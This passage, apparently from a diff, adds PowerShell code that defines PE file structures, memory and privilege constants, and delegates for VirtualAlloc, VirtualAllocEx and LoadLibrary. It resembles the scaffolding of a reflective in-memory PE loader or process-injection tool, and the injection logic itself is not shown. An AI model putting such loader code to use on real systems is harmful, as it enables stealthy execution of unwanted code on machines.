$TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary 